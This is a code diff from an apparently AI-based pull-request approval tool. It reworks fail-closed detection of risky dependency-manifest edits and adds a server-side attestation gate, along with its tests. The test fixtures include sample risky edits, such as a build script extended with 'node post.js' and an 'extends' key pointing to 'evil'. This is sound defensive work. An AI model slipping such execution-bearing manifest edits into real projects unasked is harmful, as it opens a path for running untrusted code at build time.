re.compile(r'"(?:plugins|extends)"\s*:')+_ANY_CHANGE_RISKY = frozenset({"setup.py", "setup.cfg", "gemfile", "go.mod"})def _json_object(text: str, label: str) -> dict[str, object]:@@ -98,11 +87,6 @@ def _cargo_risky_subtree(text: str) -> object:return _collect_risky_keys(data, _CARGO_RISKY_KEYS)-def _tsconfig_risky_subtree(text: str) -> object:- data = _json_object(text, "tsconfig")- return (data.get("extends"), (data.get("compilerOptions") or {}).get("plugins"))--# Manifests compared by parsing base/head into a "risky subtree" and diffing# that, rather than by diff-line matching (see module docstring). Each entry# pairs the extractor with the parse-failure exceptions that must fail closed@@ -122,36 +106,18 @@ _STRUCTURAL_RISK_CHECKS: dict[str, StructuralCheck] = {}-def manifest_change_is_risky(path: str, base_text: str, head_text: str, diff_text: str) -> bool:+def manifest_change_is_risky(path: str, base_text: str, head_text: str) -> bool:"""True when the manifest change adds/edits/removes execution-bearing config."""name = Path(path).name.lower()- if name in _ANY_CHANGE_RISKY:+ if name in _ANY_CHANGE_RISKY or (name.startswith("tsconfig") and name.endswith(".json")):return base_text != head_text- if name in _STRUCTURAL_RISK_CHECKS:- check = _STRUCTURAL_RISK_CHECKS[name]- try:- return check.extract(base_text) != check.extract(head_text)- except check.fails_closed_on:- return True- if name.startswith("tsconfig") and name.endswith(".json"):- # tsconfig is often JSONC (comments, trailing commas); a strict-JSON- # parse failure falls back to line scanning rather than failing- # closed, or every commented tsconfig edit would hard-deny.- try:- return _tsconfig_risky_subtree(base_text) != _tsconfig_risky_subtree(head_text)- except ValueError:- return _scan_changed_lines(diff_text, _TSCONFIG_LINE_PATTERN)- if name in _RISKY_LINE_PATTERNS:- return _scan_changed_lines(diff_text, _RISKY_LINE_PATTERNS[name])- return False---def _scan_changed_lines(diff_text: str, pattern: re.Pattern[str]) -> bool:- return any(- pattern.search(line[1:])- for line in diff_text.splitlines()- if line[:1] in "+-" and not line.startswith(("+++", "---"))- )+ if name not in _STRUCTURAL_RISK_CHECKS:+ return False+ check = _STRUCTURAL_RISK_CHECKS[name]+ try:+ return check.extract(base_text) != check.extract(head_text)+ except check.fails_closed_on:+ return Truedef _git(args: list[str], repo_root: Path) -> subprocess.CompletedProcess[str]:@@ -163,7 +129,7 @@ def manifest_script_changes() -> list[str]:"""Manifests whose change touches scripts/hooks/build config.- Both the structural compare and the diff are anchored at the merge base,+ The structural compare is anchored at the merge base,matching the merge-base→head semantics of every other diff in this tool:comparing against the base branch *tip* would count base-side drift(someone else's scripts change landing on the base) as this PR's doing.@@ -184,14 +150,35 @@ def manifest_script_changes(risky = []for path in manifest_paths:- base_show = _git(["show", f"{base}:{path}"], repo_root)- head_show = _git(["show", f"{head_sha}:{path}"], repo_root)- diff = _git(["diff", f"{base}..{head_sha}", "--", path], repo_root)- if manifest_change_is_risky(- path,- base_show.stdout if base_show.returncode == 0 else "",- head_show.stdout if head_show.returncode == 0 else "",- diff.stdout if diff.returncode == 0 else "",- ):+ if manifest_change_is_risky(path, _blob_text(base, path, repo_root), _blob_text(head_sha, path, repo_root)):+ risky.append(path)+ return risky+++def _blob_text(sha: str, path: str, repo_root: Path) -> str:+ # Text mode would turn CRLF into LF. The worker reads the same blob raw, so this read keeps CR+ # too, or a CRLF manifest reads as changed on one path and unchanged on the other.+ show = subprocess.run(["git", "show", f"{sha}:{path}"], capture_output=True, timeout=30, cwd=repo_root)+ return show.stdout.decode("utf-8", errors="replace") if show.returncode == 0 else ""+++def manifest_script_changes_from_contents(+ manifest_paths: list[str], contents: Mapping[str, Mapping[str, str]]+) -> list[str]:+ """``manifest_script_changes`` over texts that a caller read at the merge base and at the head.++ The server's gate check has no checkout, so it reads each manifest from GitHub and passes the+ texts in. A manifest without both texts counts as risky, the same fail-closed answer that the+ checkout scan gives for an unreadable repo state.+ """+ risky = []+ for path in manifest_paths:+ entry = contents.get(path)+ base_text = entry.get("base") if isinstance(entry, Mapping) else None+ head_text = entry.get("head") if isinstance(entry, Mapping) else None+ if not isinstance(base_text, str) or not isinstance(head_text, str):+ risky.append(path)+ continue+ if manifest_change_is_risky(path, base_text, head_text):risky.append(path)return riskydiff --git a/products/stamphog/packages/pr-approval-agent/review_local.py b/products/stamphog/packages/pr-approval-agent/review_local.pyindex 07e7a83f682c..4a4284bed5f3 100644--- a/products/stamphog/packages/pr-approval-agent/review_local.py+++ b/products/stamphog/packages/pr-approval-agent/review_local.py@@ -42,6 +42,7 @@ comes from the environment (ANTHROPIC_API_KEY).`--pregate` is the server's gate-only pre-check (see pregate()). The server runs it on the worker,in a temporary tree that holds the trusted policy files, this engine and, when the server could readthem, the PR head's AGENT_APPROVALS.md files, before it waits for other bots or makes a sandbox.+`--attest` runs the same gates in the same tree before the server posts an approval (see attest())."""import os@@ -601,6 +602,56 @@ def pregate(context: dict) -> dict:return {**outcome, "final": True, "needs_summary": True, "result": pipeline.to_dict()}+def attest(context: dict) -> dict:+ """Gate-only check that the hosted server runs before it posts an approval from the sandbox.++ The sandbox prints its verdict and its gate results on stdout, and the server cannot authenticate+ that output. So the server runs the deterministic gates again on the worker, under the trusted+ policy and on the file list it read from GitHub. ``attested`` is True only when this run reaches+ every condition that the sandbox needs before it may ask the LLM: no refused bot author, every+ gate passed, and no reviewer in flight. ``reason`` names the first condition that failed.++ Two inputs come from the checkout in the sandbox, so an unknown value fails the check rather+ than guessing. The folder files can lower a size ceiling, so ``folder_policies_known`` must be+ set. The manifest scripts scan can add a deny, so each dependency manifest without its lockfile+ needs its texts in ``manifest_contents``. Without them the reason is ``dependency_manifest``,+ and ``manifests`` names the paths for the server to read and pass in on a second run.+ """+ pipeline = Pipeline(+ 0,+ context.get("repo") or "",+ self_driving=bool(context.get("self_driving_review")),+ review_trigger=str(context.get("review_trigger") or ""),+ head_checkout=True,+ checkout=False,+ )+ pipeline.pr = _build_pr_data(context, checkout=False)++ def outcome(reason: str) -> dict:+ gates = [{"gate": g.gate, "passed": g.passed, "message": g.message} for g in pipeline.gate_results]+ return {"attested": not reason, "reason": reason, "gates": gates}++ if pipeline.pr.author_is_bot and not pipeline.self_driving:+ return outcome("bot_author")+ if context.get("folder_policies_known") is not True:+ return outcome("folder_policies_unknown")+ manifests = dependency_manifests_without_lockfile(pipeline.pr.file_paths)+ manifest_contents = context.get("manifest_contents")+ if manifests:+ if not isinstance(manifest_contents, dict) or any(path not in manifest_contents for path in manifests):+ return {**outcome("dependency_manifest"), "manifests": manifests}+ pipeline.manifest_contents = manifest_contents++ pipeline.author_team_slugs = _author_team_slugs(context)+ pipeline._classify()+ _run_gates_offline(pipeline)+ if any(not gate.passed for gate in pipeline.gate_results):+ return outcome("gate_failed")+ if pipeline._in_flight_bot_reviewers() or pipeline.pr.pending_review_evidence():+ return outcome("review_in_flight")+ return outcome("")++def run(context: dict) -> dict:"""Run the full offline review and return the to_dict() contract."""# The hosted server sets self_driving_review only for PRs it verified came from a self-driving@@ -720,6 +771,9 @@ def main() -> None:parser.add_argument("--context", required=True, help="Path to the review context JSON")parser.add_argument("--repo-dir", default=None, help="Checkout directory (defaults to cwd)")parser.add_argument("--pregate", action="store_true", help="Gates only, no checkout and no LLM (server pre-check)")+ parser.add_argument(+ "--attest", action="store_true", help="Gates only, no checkout and no LLM (server check before an approval)"+ )args = parser.parse_args()if args.repo_dir:@@ -733,6 +787,10 @@ def main() -> None:flush_analytics()print(json.dumps(pregate_result), flush=True)return+ if args.attest:+ # A crash exits non-zero, and the server treats that as a failed check and posts no approval.+ print(json.dumps(attest(context)), flush=True)+ returnlaunched_at = _launched_at_ms()if launched_at is not None:diff --git a/products/stamphog/packages/pr-approval-agent/review_pr.py b/products/stamphog/packages/pr-approval-agent/review_pr.pyindex 9972152db250..57be2e3a70e4 100644--- a/products/stamphog/packages/pr-approval-agent/review_pr.py+++ b/products/stamphog/packages/pr-approval-agent/review_pr.py@@ -71,7 +71,7 @@ from github import (provenance_evidence,write_pr_diff,)-from manifest_risk import manifest_script_changes+from manifest_risk import manifest_script_changes, manifest_script_changes_from_contentsfrom migration_risk import migration_check_pending, safe_migration_filesfrom policy import EffectivePolicy, ScopeBudget, _sanitize_untrusted, repo_root, resolvefrom verdict_rule import facts_summary@@ -244,6 +244,9 @@ class Pipeline:# git tree. The manifest scripts scan reads file text from git, so it is skipped there. That# can only miss a deny, never add one, and the sandbox review runs the scan again.self.checkout = checkout+ # Manifest texts at the merge base and the head, keyed by path, which the server's gate check+ # reads from GitHub so that it can run the scripts scan without a checkout.+ self.manifest_contents: dict[str, dict[str, str]] | None = None# Every GitHub team the author is on, set by the hosted runtime because the sandbox holds no# token. None means a local run, which asks GitHub per team instead.self.author_team_slugs: set[str] | None = None@@ -446,11 +449,16 @@ class Pipeline:# Deterministic first line for the manifest scripts risk: an edit to# scripts/lifecycle/build keys hard-denies rather than resting solely# on the reviewer prompt's REFUSE instruction.- risky_manifests = (- manifest_script_changes(dep_manifests, pr.base_sha, pr.head_sha, REPO_ROOT, pr.merge_base_sha)- if dep_manifests and self.checkout- else []- )+ if not dep_manifests:+ risky_manifests = []+ elif self.checkout:+ risky_manifests = manifest_script_changes(+ dep_manifests, pr.base_sha, pr.head_sha, REPO_ROOT, pr.merge_base_sha+ )+ elif self.manifest_contents is not None:+ risky_manifests = manifest_script_changes_from_contents(dep_manifests, self.manifest_contents)+ else:+ risky_manifests = []if risky_manifests and "deps_toolchain" not in deny:deny = sorted([*deny, "deps_toolchain"])denied_before_exemptions = len(deny)diff --git a/products/stamphog/packages/pr-approval-agent/test_manifest_risk.py b/products/stamphog/packages/pr-approval-agent/test_manifest_risk.pyindex 767c30c665ea..3e401e878d87 100644--- a/products/stamphog/packages/pr-approval-agent/test_manifest_risk.py+++ b/products/stamphog/packages/pr-approval-agent/test_manifest_risk.py@@ -108,11 +108,19 @@ def _pkg(scripts: str = "", extra: str = "") -> str:),pytest.param("common/esbuilder/tsconfig.json",- '{"compilerOptions": {"strict": false}}',- '{"compilerOptions": {"strict": true}}',- False,- id="tsconfig-option-clean",+ '{\n // note\n "compilerOptions": {}\n}',+ '{\n // edited\n "compilerOptions": {}\n}',+ True,+ id="tsconfig-comment-only-edit",),+ pytest.param(+ "go.mod",+ "module example.com/app\n\nrequire example.com/lib v1.0.0\n",+ "module example.com/app\n\nrequire example.com/lib v1.2.3\n",+ True,+ id="go-mod-require-bump",+ ),+ pytest.param("go.mod", "module example.com/app\n", "module example.com/app\n", False, id="go-mod-unchanged"),pytest.param("setup.py", "VERSION = '1.0'", "VERSION = '1.1'", True, id="setup-py-any-change"),pytest.param("composer.json",@@ -165,7 +173,7 @@ def test_manifest_change_is_risky_structural(path: str, base: str, head: str, ri# name, so only a structural compare of the risky subtrees catches it.# Over-matching matters too - version bumps hard-denying would undo the# manifest calibration entirely.- assert manifest_change_is_risky(path, base, head, diff_text="") is risky+ assert manifest_change_is_risky(path, base, head) is risky@pytest.mark.parametrize(@@ -183,32 +191,7 @@ def test_manifest_change_is_risky_unparseable_fails_closed(path: str, base: str,# Each _STRUCTURAL_RISK_CHECKS entry has its own parse-failure exception# tuple; narrowing any one of them would fail open for that manifest# alone, so every format needs its own fail-closed case, not just json.- assert manifest_change_is_risky(path, base, head, diff_text="") is True--- "path, diff_line, risky",- [- pytest.param("go.mod", "+replace example.com/x => ../local", True, id="go-mod-replace"),- pytest.param("go.mod", "+require example.com/x v1.2.3", False, id="go-mod-require-clean"),- ],-)-def test_line_scan_families(path: str, diff_line: str, risky: bool) -> None:- # go.mod keeps the line scan: key and value share a line, and a require- # bump without go.sum fails CI deterministically (-mod=readonly), so only- # replace directives are silent-fetch risks.- diff = f"--- a/{path}\n+++ b/{path}\n@@ -1,3 +1,3 @@\n context\n{diff_line}\n"- assert manifest_change_is_risky(path, "irrelevant", "irrelevant2", diff) is risky---def test_tsconfig_jsonc_falls_back_to_line_scan() -> None:- # tsconfig is often JSONC; failing closed on comments would hard-deny- # every commented tsconfig edit and undo the calibration.- jsonc = '{\n // comment\n "compilerOptions": {"strict": true},\n}'- clean_diff = '--- a/tsconfig.json\n+++ b/tsconfig.json\n@@\n+ "strict": true,\n'- risky_diff = '--- a/tsconfig.json\n+++ b/tsconfig.json\n@@\n+ "extends": "evil",\n'- assert manifest_change_is_risky("tsconfig.json", jsonc, jsonc + " ", clean_diff) is False- assert manifest_change_is_risky("tsconfig.json", jsonc, jsonc + " ", risky_diff) is True+ assert manifest_change_is_risky(path, base, head) is True@pytest.mark.parametrize("given_merge_base", [False, True])@@ -244,3 +227,22 @@ def test_wrapper_anchors_at_merge_base_not_base_tip(tmp_path, given_merge_base:assert manifest_script_changes(["package.json"], "not-a-commit", head, tmp_path, merge_base) == []else:assert manifest_script_changes(["package.json"], base_tip, head, tmp_path) == []+++def test_checkout_scan_reads_line_endings_as_the_worker_does(tmp_path) -> None:+ def run(*args: str) -> str:+ result = subprocess.run(["git", *args], capture_output=True, text=True, cwd=tmp_path, check=True)+ return result.stdout.strip()++ run("init", "-q", "-b", "main")+ run("config", "user.email", "t@t")+ run("config", "user.name", "t")+ (tmp_path / "go.mod").write_bytes(b"module example.com/app\n")+ run("add", ".")+ run("commit", "-qm", "root")+ base = run("rev-parse", "HEAD")+ (tmp_path / "go.mod").write_bytes(b"module example.com/app\r\n")+ run("commit", "-qam", "line endings only")+ head = run("rev-parse", "HEAD")++ assert manifest_script_changes(["go.mod"], base, head, tmp_path, base) == ["go.mod"]diff --git a/products/stamphog/packages/pr-approval-agent/test_review_local.py b/products/stamphog/packages/pr-approval-agent/test_review_local.pyindex ce3c37a9610e..60bc82c766fd 100644--- a/products/stamphog/packages/pr-approval-agent/test_review_local.py+++ b/products/stamphog/packages/pr-approval-agent/test_review_local.py@@ -766,6 +766,89 @@ def test_pregate_is_final_only_where_the_full_review_agrees(assert review_local.run(context)["final_verdict"] == expect_verdict+ "context, expected_reason",+ [+ pytest.param(_pregate_context([_api_file("src/app.py")], folder_policies_known=True), "", id="clean-t1"),+ pytest.param(+ _pregate_context([_api_file("terraform/main.tf")], folder_policies_known=True),+ "gate_failed",+ id="deny-list",+ ),+ pytest.param(+ _pregate_context(+ [+ {+ **_api_file("products/workflows/backend/hog_flow.py", status="renamed"),+ "previous_filename": "products/workflows/backend/models/hog_flow.py",+ }+ ],+ folder_policies_known=True,+ ),+ "gate_failed",+ id="owner-only-path-renamed-out",+ ),+ pytest.param(+ _pregate_context([_api_file("src/app.py")], user_type="Bot", folder_policies_known=True),+ "bot_author",+ id="bot-author",+ ),+ pytest.param(_pregate_context([_api_file("src/app.py")]), "folder_policies_unknown", id="folder-files-unread"),+ pytest.param(+ _pregate_context([_api_file("frontend/package.json")], folder_policies_known=True),+ "dependency_manifest",+ id="manifest-texts-missing",+ ),+ pytest.param(+ {+ **_pregate_context([_api_file("frontend/package.json")], folder_policies_known=True),+ "manifest_contents": {+ "frontend/package.json": {+ "base": '{"version": "1.0.0", "scripts": {"build": "vite build"}}',+ "head": '{"version": "1.0.1", "scripts": {"build": "vite build"}}',+ }+ },+ },+ "",+ id="manifest-version-bump",+ ),+ pytest.param(+ {+ **_pregate_context([_api_file("frontend/package.json")], folder_policies_known=True),+ "manifest_contents": {+ "frontend/package.json": {+ "base": '{"scripts": {"build": "vite build"}}',+ "head": '{"scripts": {"build": "vite build && node post.js"}}',+ }+ },+ },+ "gate_failed",+ id="manifest-script-edit",+ ),+ ],+)+def test_attest_confirms_only_what_the_full_review_would_approve(+ monkeypatch, context: dict, expected_reason: str+) -> None:+ monkeypatch.setattr(review_local, "_git_diff_files", lambda *a, **k: [])+ monkeypatch.setattr(review_local, "pr_provenance", lambda *a, **k: None)++ outcome = review_local.attest(context)++ assert (outcome["attested"], outcome["reason"]) == (not expected_reason, expected_reason)+ if expected_reason == "dependency_manifest":+ assert outcome["manifests"] == ["frontend/package.json"]+ # The full review reads manifests from a checkout, which this test does not have.+ if expected_reason in ("folder_policies_unknown", "dependency_manifest") or "manifest_contents" in context:+ return++ def approve(self, pr, classification, gate_context, diff_path=None):+ return {"verdict": "APPROVE", "reasoning": "ok", "risk": "low", "issues": []}++ monkeypatch.setattr(openai_reviewer.OpenAIReviewer, "review", approve)+ assert (review_local.run(context)["final_verdict"] == "APPROVED") is outcome["attested"]++@pytest.mark.parametrize("files, safe_migrations, expected_tier, expected_verdict",[